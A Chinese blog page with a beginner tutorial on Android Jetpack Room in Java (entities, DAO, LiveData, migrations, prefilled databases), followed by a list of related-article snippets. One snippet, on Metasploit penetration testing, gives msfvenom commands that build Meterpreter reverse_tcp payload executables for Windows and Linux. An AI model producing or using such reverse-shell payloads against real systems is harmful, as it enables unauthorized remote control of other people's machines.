android jetpack Room的基本使用(java)

news2024/11/24 18:58:06

数据库的基本使用

添加依赖

    //room
    def room_version = "2.5.0"

    implementation "androidx.room:room-runtime:$room_version"
    annotationProcessor "androidx.room:room-compiler:$room_version"

创建表
@Entity表示根据实体类创建数据表,如果有多个主键要使用primaryKeys = {}
@ColumnInfo 表示在数据表中的名字
@Ignore 表示不在数据表创建此字段
@PrimaryKey 主键


@Entity
public class Word {

    @PrimaryKey
    @ColumnInfo(name = "id")
    private int id;
    @ColumnInfo(name = "word")
    private String word;
    @ColumnInfo(name = "wordCH")
    private String wordCH;

    public int getId() {
        return id;
    }

    public void setId(int id) {
        this.id = id;
    }

    public String getWord() {
        return word;
    }

    public void setWord(String word) {
        this.word = word;
    }

    public String getWordCH() {
        return wordCH;
    }

    public void setWordCH(String wordCH) {
        this.wordCH = wordCH;
    }
}

创建DAO
每一个表都对应一个dao。

@Dao
public interface WordDao {

    @Query("select * from word")
    List<Word> getAll();


    @Insert
    void insert(Word... words);


    @Query("delete from word where   wordCh = :wordCH ")
    void deleteWord(String wordCH);
}

创建数据库
创建一个抽象类,设置要创建的数据表,数据版本,数据库名称,DAO。
entities 表示数据库中有哪些表

@Database(entities = {Word.class}, version = 1)
public abstract class MyDatabase extends RoomDatabase {

    public static MyDatabase myDatabase;


    public static synchronized MyDatabase getInstence(Context context) {

        if (myDatabase == null) {

            myDatabase = Room.databaseBuilder(context, MyDatabase.class, "my.db")
                    .build();
        }

        return myDatabase;
    }


    /**
     * 声明dao
     * @return
     */
    public abstract WordDao getWordDao();
}

对数据库进行增删改查操作,必须要在子线程中。这里向数据库中插入了一条数据,又从数据库中进行了查寻并输出。代码如下:

        new Thread(new Runnable() {
            @Override
            public void run() {

                MyDatabase myDatabase = MyDatabase.getInstence(getApplicationContext());

                Word word = new Word();
                word.setId(1);
                word.setWord("hello");
                word.setWordCH("你好");
                myDatabase.getWordDao().insert(word);
                List<Word> wordList = myDatabase.getWordDao().getAll();

                for (Word word1 : wordList) {

                    Log.d("Word", word1.toString());
                }
            }
        }).start();

Room与LiveData、ViewMode结合使用

但数据发生变化时,总是需要启动一个线程去查询数据,这很麻烦,于是有了更好的处理方案。
我们将获取到的List用livedata包装起来。

@Dao
public interface WordDao {
	........
    @Query("select * from word")
    LiveData<List<Word>> getAll();
}

创建WordViewModel
AndroidViewModel 与ViewModel不同点在于有没有context。

public class WordViewModel extends AndroidViewModel {

    private MyDatabase myDatabase;

    private LiveData<List<Word>> listLiveData;

    public WordViewModel(@NonNull Application application) {
        super(application);

        WordDao wordDao = myDatabase.getWordDao();
        listLiveData = wordDao.getAll();
    }


    public LiveData<List<Word>> getListLiveData() {
        return listLiveData;
    }

}

监听数据

        wordViewModel = new ViewModelProvider(this).get(WordViewModel.class);
        wordViewModel.getListLiveData().observe(this, new Observer<List<Word>>() {
            @Override
            public void onChanged(List<Word> words) {
                
            }
        });

当对数据库进行增加、删除或者修改时,onChanged方法会被调用。

使用migration升级

当数据库添加表,或者修改字段时,需要做一些调整,对数据库进行升级。

表示数据从版本1升级到版本2
    public static Migration migration = new Migration(1, 2) {
        @Override
        public void migrate(@NonNull SupportSQLiteDatabase database) {

        }
    };

1->3这种升级,room会判断有没有从1到3的升级方案,如果有,则直接升级;如果没有则room会按照1->2,2->3升级。
写完Migration 需要添加。

@Database(entities = {Word.class}, version = 2)
public abstract class MyDatabase extends RoomDatabase {

    public static MyDatabase myDatabase;


    public static synchronized MyDatabase getInstence(Context context) {

        if (myDatabase == null) {

            myDatabase = Room.databaseBuilder(context, MyDatabase.class, "my.db")
                    .addMigrations(migration)
                    .build();
        }

        return myDatabase;
    }

    public static Migration migration = new Migration(1, 2) {
        @Override
        public void migrate(@NonNull SupportSQLiteDatabase database) {

        }
    };

	.........
}

Schema文件

每次数据库升级都会生成一个Schema文件,这是一个json文件,包含了数据库的所有信息。查看它,能清楚地知道数据库每版变更的情况。

设置Schema导出路径

class RoomSchemaArgProvider implements CommandLineArgumentProvider {

    @InputDirectory
    @PathSensitive(PathSensitivity.RELATIVE)
    File schemaDir

    RoomSchemaArgProvider(File schemaDir) {
        this.schemaDir = schemaDir
    }

    @Override
    Iterable<String> asArguments() {
        // Note: If you're using KSP, you should change the line below to return
        // ["room.schemaLocation=${schemaDir.path}"]
        return ["-Aroom.schemaLocation=${schemaDir.path}"]
    }
}

android {
  
    defaultConfig {
    
		.......
        /*room数据库需要*/
        javaCompileOptions {
            annotationProcessorOptions {
                compilerArgumentProviders(
                        new RoomSchemaArgProvider(new File(projectDir, "schemas"))
                )
            }
        }
    }

}

在这里插入图片描述

预填充数据库createFromAsset、createFromFile

createFromFile用来作用域目录中的路径。
createFromAsset用来传输Asset中的路径

根据数据库表创建数据库,添加数据,导出db文件,存放与Asset文件中。

在这里插入图片描述

@Database(entities = {Word.class}, version = 2)
public abstract class MyDatabase extends RoomDatabase {

    public static MyDatabase myDatabase;


    public static synchronized MyDatabase getInstence(Context context) {

        if (myDatabase == null) {

            myDatabase = Room.databaseBuilder(context, MyDatabase.class, "my.db")
                    .addMigrations(migration)
                    .createFromAsset("my.db")//预填充数据库
                    .build();
        }

        return myDatabase;
    }
 	......
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/609044.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Linux基础篇 Ubuntu 22.04的环境安装-02

目录 一、资料的获取 二、安装虚拟机 三、安装Ubuntu过程 四、注意事项 一、资料的获取 1.通过官方网站下载 Ubuntu系统下载 | Ubuntuhttps://cn.ubuntu.com/download2.下载桌面板即可 3.选择下载的版本 二、安装虚拟机 1.创建新的虚拟机 2.选择自定义安装 3.硬件兼容性选…

Zinx框架学习 - 请求与路由模块实现

Zinx - V0.3 请求与路由模块实现 在zinxV0.2中链接只封装了套接字&#xff0c;而请求是封装了链接和用户传输的数据&#xff0c;后续通过请求来识别具体要实现什么功能&#xff0c;然后通过路由来完成对应的功能处理。conn链接的业务处理HandleFunc是固定写死的&#xff0c;接…

【YOLO系列】YOLO v4(网络结构图+代码)

文章目录 how to compile on Linux(using cmake)yolo v4 测试 网络结构route 和shotcutNeckHead Loss参考 YOLO v4是YOLO系列的第三篇&#xff0c;YOLO v4融合了大量的检测小技巧&#xff0c;为了能够更快地理解YOLO v4&#xff0c;可先查看前两篇文章。 【YOLO系列】YOLO v3&a…

K8s架构(五)

K8s的物理架构是master/node模式&#xff1a; K8s集群至少需要一个主节点(Master)和多个工作节点(Worker)&#xff0c;Master节点是集群的控制节点&#xff0c;负责整个集群的管理和控制&#xff0c;主节点主要用于暴露API&#xff0c;调度部署和节点的管理。工作节点主要是运…

【Spring学习】Bean对象的作用域和生命周期,了解了这些你就真正熟悉spring框架了.

前言: 大家好,我是良辰丫,我们已经学会了Spring的存取,今天我们将一起来学习Bean对象的作用域和生命周期.&#x1f48c;&#x1f48c;&#x1f48c; &#x1f9d1;个人主页&#xff1a;良辰针不戳 &#x1f4d6;所属专栏&#xff1a;javaEE进阶篇之框架学习 &#x1f34e;励志语…

单源最短路的综合应用

1.新年好&#xff08;dfs最短路&#xff09; 信息学奥赛一本通&#xff08;C版&#xff09;在线评测系统 (ssoier.cn)http://ybt.ssoier.cn:8088/statusx.php?runidx17472125 先两两求一遍最短路&#xff0c;求一个地方到另一个地方的最短路&#xff0c;在枚举5个拜访的顺序…

Vue3 小兔鲜:Layout-静态模版结构搭建

Vue3 小兔鲜4&#xff1a;Layout-静态模版结构搭建 Date: May 31, 2023 目标效果&#xff1a; 分成Nav、Heade、二级路由出口、Footer区域 组件结构快速搭建 Nav <script setup></script><template><nav class"app-topnav"><div clas…

Android和windows(msf渗透)

msf生成木马的语句 #windows#x64 msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT7777 -f exe > shell.exe#x68 msfvenom -p windows/meterpreter/reverse_tcp LHOSTx.x.x.x LPORT5555 -a x86 --platform Windows -f exe > shell.exe#linux msfven…

【TOP生物信息】使用R包Symphony自动注释细胞类型

扫码关注下方公粽号&#xff0c;回复推文合集&#xff0c;获取400页单细胞学习资源&#xff01; 本文共计1884字&#xff0c;阅读大约需要6分钟&#xff0c;目录如下&#xff1a; Symphony 包基本介绍 Symphony 包安装 Symphony 包使用 1.使用已有的参考数据集进行细胞注释2…

LinuxC编程——文件IO

目录 一、概念⭐⭐二、特点⭐⭐⭐三、函数⭐⭐⭐⭐3.1 打开文件 open3.2 关闭文件 close3.3 读写操作3.4 定位操作 lseek 四、文件IO与标准IO的对比脑图 在C语言的标准IO库中的库函数&#xff0c;如fclose、fopen,、fread、fwrite&#xff0c;提供的是高层服务&#xff1b;而Li…

数据在内存中的存储(超详细讲解)

目录 浮点数家族 浮点数类型在内存中的存储 一.为什么说整型和浮点数在内存中存储方式不同&#xff08;证明&#xff09; 二.浮点数的存储规则 浮点数在计算机内部的表示方法 1.对于M的存储和取出规则 2.对于E的存储和取出时的规则 对前面代码结果进行解释&#xff1a; …

Kubernetes_APIServer_证书_03_四个静态Pod Yaml文件解析

文章目录 前言一、APIServer Yaml文件解析APIServer证书文件APIServer三种探针启动探针可读性探针生存性探针 APIServer其他参数APIServer其他配置项 二、Scheduler Yaml文件解析Scheduler证书配置Scheduler两个探针启动探针生存性探针 Scheduler其他参数Scheduler其他配置项 三…

测试各种变量是否是线程安全的

前提条件,把这个类设成是单例模式,也就是说,这个类只能创建一个对象,然后多个线程在一个对象中去争抢资源. 1.int类型的成员变量number, (private int number) 线程共享 public class Stu {private int number;private String age;private String math;private i…

【sentinel】漏桶算法在Sentinel中的应用

漏桶算法 漏桶算法介绍 漏桶算法&#xff0c;又称leaky bucket。 从图中我们可以看到&#xff0c;整个算法其实十分简单。首先&#xff0c;我们有一个固定容量的桶&#xff0c;有水流进来&#xff0c;也有水流出去。对于流进来的水来说&#xff0c;我们无法预计一共有多少水…

内存池技术

为了学习池化技术以及后续自行实现一个仿tcmalloc的线程池&#xff0c;我们先浅浅的学习一下池化的概念&#xff0c;以及简单的实现一个定长的内存池。 文章目录 一&#xff1a;池化技术二&#xff1a;内存池三&#xff1a;内存池主要解决的问题四&#xff1a;malloc五&#x…

原地顺时针旋转矩阵(leetcode 48.选择图像)

本题目在leetcode上有原题48. 旋转图像 详细讲解 顺时针旋转90&#xff0c;横变竖&#xff0c;竖变横。按圈分解&#xff0c;一圈圈的单独转&#xff0c;由外圈到内圈&#xff0c;不断分解。 每一圈转到位了&#xff0c;整个矩阵就旋转好了。 那么&#xff0c;问题来了&…

Photoshop史上最强更新,动动手指就能让AI替你修图

Photoshop 在最新的 Beta 版本中&#xff0c;融入了 Firely 智能 AI 创意填充功能&#xff0c;只要对图片进行简单地框选&#xff0c;就能实现生成对象、生成背景、扩展图像、移除对象以及更多创意功能&#xff0c;支持用自然语言输入指令&#xff0c;让 AI 替你完成创意填充。…

Jmeter常用的两大性能测试场景你都知道吗?

目录 一、阶梯式场景 二、波浪式场景 一、阶梯式场景 该场景主要应用在负载测试里面&#xff0c;通过设定一定的并发线程数&#xff0c;给定加压规则&#xff0c;遵循“缓起步&#xff0c;快结束”的原则&#xff0c;不断地增加并发用户来找到系统的性能瓶颈&#xff0c;进而有…

SpringCloud:分布式缓存之Redis分片集群

1.搭建分片集群 主从和哨兵可以解决高可用、高并发读的问题。但是依然有两个问题没有解决&#xff1a; 海量数据存储问题 高并发写的问题 使用分片集群可以解决上述问题&#xff0c;如图: 分片集群特征&#xff1a; 集群中有多个master&#xff0c;每个master保存不同数据 …

管道通信详解

目录 一、进程通信原理 二、什么是管道 三、创建一个匿名管道 四、fork共享管道的原理 五、管道的特点 六、4中场景 七、命名管道 八、命名管道通信的原理 九、创建一个命名管道 十、上实例 一、进程通信原理 我们知道进程间相互独立&#xff0c;具有独立性。那么我们…